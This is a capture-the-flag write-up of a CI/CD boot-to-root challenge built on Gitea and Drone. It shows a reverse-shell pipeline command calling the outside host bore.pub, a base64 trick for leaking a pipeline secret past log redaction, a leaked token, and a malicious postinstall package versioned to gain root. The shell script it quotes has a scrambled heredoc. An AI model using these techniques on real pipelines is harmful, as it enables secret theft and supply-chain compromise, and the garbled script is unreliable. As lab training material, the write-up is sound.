# The Three Ways

As part of the Brunner CTF 2026, the "Three ways" challenge is a Boot2Root challenge based on CI/CD—the first of its kind I've encountered. Having worked with CI/CD from the other side (building and testing my many side projects), it was a refreshing opportunity to explore this domain from an attacker's perspective. Without further ado, let's get into it.

* * *

# Stage 1: Flow

Spinning up the challenge instances provided links to a Gitea and a Drone instance. While I am familiar with Gitea being a self-hostable Git platform due to my many self-hosting rabbit-hole deep dives, Drone was new to me. I learned that it is a "CI/CD platform built with a containers-first architecture."

The challenge provided default credentials, with the following description:

```text
Team, we did it. We have officially eliminated friction. Permission gates? Deprecated. Approval queues? A fixed mindset we've chosen to leave behind. Here at Brunnerne Inc.™, value flows left to right, unblocked, empowered and self-service.

Onboarding note for our new contractors: Welcome aboard! Your access is intentionally minimal, go create beautiful value for our shareholders. We're certain you will go down in history!

Credentials: `brunner_dev:dev_go_brr`
```

The permission gates being deprecated and approval queues being left behind, along with the presence of the Drone platform, immediately made me think about getting a shell on the CI machines.

Logging into Gitea with the provided default credentials revealed:

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/852ebf92-c01b-499e-9f6e-5b9a346fef0c.png align="center")

An empty dashboard!

Poking through the interface for a bit led me to the explore panel, where I could see two more repositories belonging to the `brunner_ops` and `brunner_admin` accounts.

The `brunner_ops` repository, in particular, looked really interesting given its latest commit message, which read: `read the ci password from the environment`.

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/c7a8adbe-4e27-4c5a-a7dd-d306f73dd9a0.png align="center")

Looking into the commit history, the password for the `brunner_ci` user was sitting in plaintext. I then used that to log in as the `brunner_ci` user.

The current user also had write permissions for the `brunner_admin/hello-drone` repository, which also showed up on the Drone platform with an option to trigger a build.

The `.drone.yml` file at the repository root, which describes the whole pipeline, had three steps, two of which ran a Python file and its tests.

```yml
kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: build
    commands:
      - python app.py

  - name: report
    commands:
      - echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"
```

The `app.py` itself was rather minimal, performing a few arithmetic operations. Using [revshells](https://revshells.com), I quickly added a few lines of code which would give me a reverse shell, which I was going to access using the [bore](https://github.com/ekzhang/bore) tool on my PC.

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/ef8ce3dd-d764-4ee9-aa7d-fad365f0fd22.png align="center")

Committing to the repository triggered the CI step, and a reverse shell owned by the drone user was waiting for me! Navigating to the home directory of the drone user revealed the first flag!

![](https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/9ef9de7a-4b5c-4e02-83fa-f9ea7a4ecc19.png align="center")

Flag: `brunner{4ch13v3_4bs0lut3_fl0w_st4t3}`

* * *

## Stage 2: Feedback/Continuous Improvement

With my `brunner_ci` session, the explore tab also showed a private repository called `deploy_tools` owned by the `brunner_ops` user. The `README.md` said:

```text
# deploy-tools

Tooling for building and verifying rollout bundles. Read-only members can open pull requests.

## CI

`verify-release.sh` pulls the newest bundle and re-checks its `SHA256SUMS`. 
```

This sounded like the author intended for players to fork the repository and have it executed via the Drone CI.

The challenge description also echoed a similar sentiment:

```text
Brunnerne is a blameless, feedback-rich organisation. Every pull request runs our world-class verification pipeline, because we believe great ideas can come from anywhere, even outside the team. Especially outside the team. We're inclusive like that.

Rest assured: our secrets are handled to industry-adjacent standards and our logs are appropriately redacted.
```

The last line indicates that string-matching secret redaction would be enabled for the repository, so we'll have to encode the secret before printing it to avoid redaction.

Looking through the deploy-tools repository, the `.drone.yml` file shows that the `verify-release.sh` script runs with the `REGISTRY_TOKEN` variable set!

```yml
kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - sh verify-release.sh
```

The bundled (pun intended) `make-bundle.sh` script does most of the heavy lifting, taking in a source directory and a version number. Most importantly, it ensures that we include a post-install hook, making that the obvious attack path. Here's the full script:

```shell
#!/bin/sh
set -eu

SRC=${1:?usage: make-bundle.sh <src-dir> <version> [out-dir]}
VERSION=${2:?usage: make-bundle.sh <src-dir> <version> [out-dir]}
OUT=${3:-dist}
PACKAGE=rollout-bundle

[ -d "$SRC" ] || { echo "no such directory: $SRC" >&2; exit 1; }

WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT

mkdir -p "$WORK/bundle"
cp -R "$SRC/." "$WORK/bundle/"

if [ -d "$SRC/$OUT" ]; then
  rm -rf "$WORK/bundle/$OUT"
fi

[ -f "$WORK/bundle/hooks/postinstall" ] || {
  echo "$SRC/hooks/postinstall is missing, the agent has nothing to run" >&2
  exit 1
}

cat > "$WORK/bundle/manifest.json" <<EOF "$PACKAGE", "$VERSION", "$WORK/bundle" "$WORK/bundle/SHA256SUMS" "hooks": "hooks/postinstall" "package": "postinstall": "version": && ( ) -exec -f -k2 -type . EOF \; cd f find rm sha256sum sort { {} | }> "$WORK/SHA256SUMS"
mv "$WORK/SHA256SUMS" "$WORK/bundle/SHA256SUMS"

mkdir -p "$OUT"
tar -czf "$OUT/$PACKAGE-$VERSION.tar.gz" -C "$WORK" bundle
echo "$OUT/$PACKAGE-$VERSION.tar.gz"
```

Drone also injects the workspace secrets into the fork runs, so I forked the repository and cloned it to my machine.

Checking the `.drone.yml` file again, I realized that the environment variable containing the registry token was set in the `verify-release` step. I replaced the command in there to open a reverse shell to my machine. It now looked like this:

```yml
kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - sh -i >& /dev/tcp/bore.pub/61940 0>&1
```

It failed with an error, and I realized I didn't need a shell at all. I just added the following line:

```bash
echo "$REGISTRY_TOKEN" | base64
```

The base64 encoding was to escape Gitea's string secret detection.

The build ran, but it was not giving the correct token; instead, it just output `Cg==` (which is just an empty newline). I realized that this was because it was running in the context of the `brunner_ci` user. I opened a pull request into the `brunner_ops` repository, which triggered the build in their context. The registry token was then leaked as `NzVjNDlkNmQ1ZDYwMDRjZTQyMWE3NTU1YTY1MWEyM2RhZjFjYjhhMwo=`, which decoded to `75c49d6d5d6004ce421a7555a651a23daf1cb8a3`.

With the `brunner_ops` token, which presumably had write access to the package repository, we could now finally insert our malicious package to get a root shell.

Before continuing on this path, I decided to use the Gitea API to ensure we had write permissions on the package repository.

```bash
➜ litmus deploy-tools (main) ✔ curl -s -H "Authorization: token 75c49d6d5d6004ce421a7555a651a23daf1cb8a3" \
  "$GITEA_URL/api/v1/user" | jq
{
  "id": 5,
  "login": "brunner_svc",
  "login_name": "",
  "full_name": "",
  "email": "svc@example.com",
  "avatar_url": "[https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon](https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon)",
  "language": "",
  "is_admin": false,
  "last_login": "1970-01-01T00:00:00Z",
  "created": "2026-08-24T16:07:19Z",
  "restricted": false,
  "active": true,
  "prohibit_login": false,
  "location": "",
  "website": "",
  "description": "",
  "visibility": "private",
  "followers_count": 0,
  "following_count": 0,
  "starred_repos_count": 0,
  "username": "brunner_svc"
}
```

This confirms that it's a service account: `brunner_svc`.

Since `make-bundle.sh` had already told us everything we needed—the expected source layout, the mandatory `hooks/postinstall` script, and the fact that the agent installs whatever is versioned newest—building the payload was straightforward.

```bash
➜ litmus deploy-tools (main) ✔ mkdir malicious-src/hooks -p
➜ litmus deploy-tools (main) ✔ nvim malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ chmod +x malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ sh make-bundle.sh malicious-src 999.0.0 dist
dist/rollout-bundle-999.0.0.tar.gz
➜ litmus deploy-tools (main) ✗
```

The version `999.0.0` was chosen to comfortably outrank any existing version. The resulting tarball was uploaded directly to the `brunner_registry` generic package feed using the token leaked in Stage 2.

The script was structured as follows:

```bash
mkdir -p malicious-src/hooks
cat > malicious-src/hooks/postinstall << 'EOF'
#!/bin/sh
{
  id
  cat /root/flag.txt 2>/dev/null
} > /tmp/pwned.log 2>&1
EOF
chmod +x malicious-src/hooks/postinstall

sh make-bundle.sh malicious-src 999.0.0 dist
```

To retrieve the result, another step was added to the pipeline to read the output file:

```yml
  - name: read-result
    commands:
      - cat /tmp/pwned.log
```

This returned:

```shell
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}
```

There was a third flag too, buried somewhere in a hidden package version accessible via the Drone CI API, but I haven't included it here as I didn't find it during the CTF.
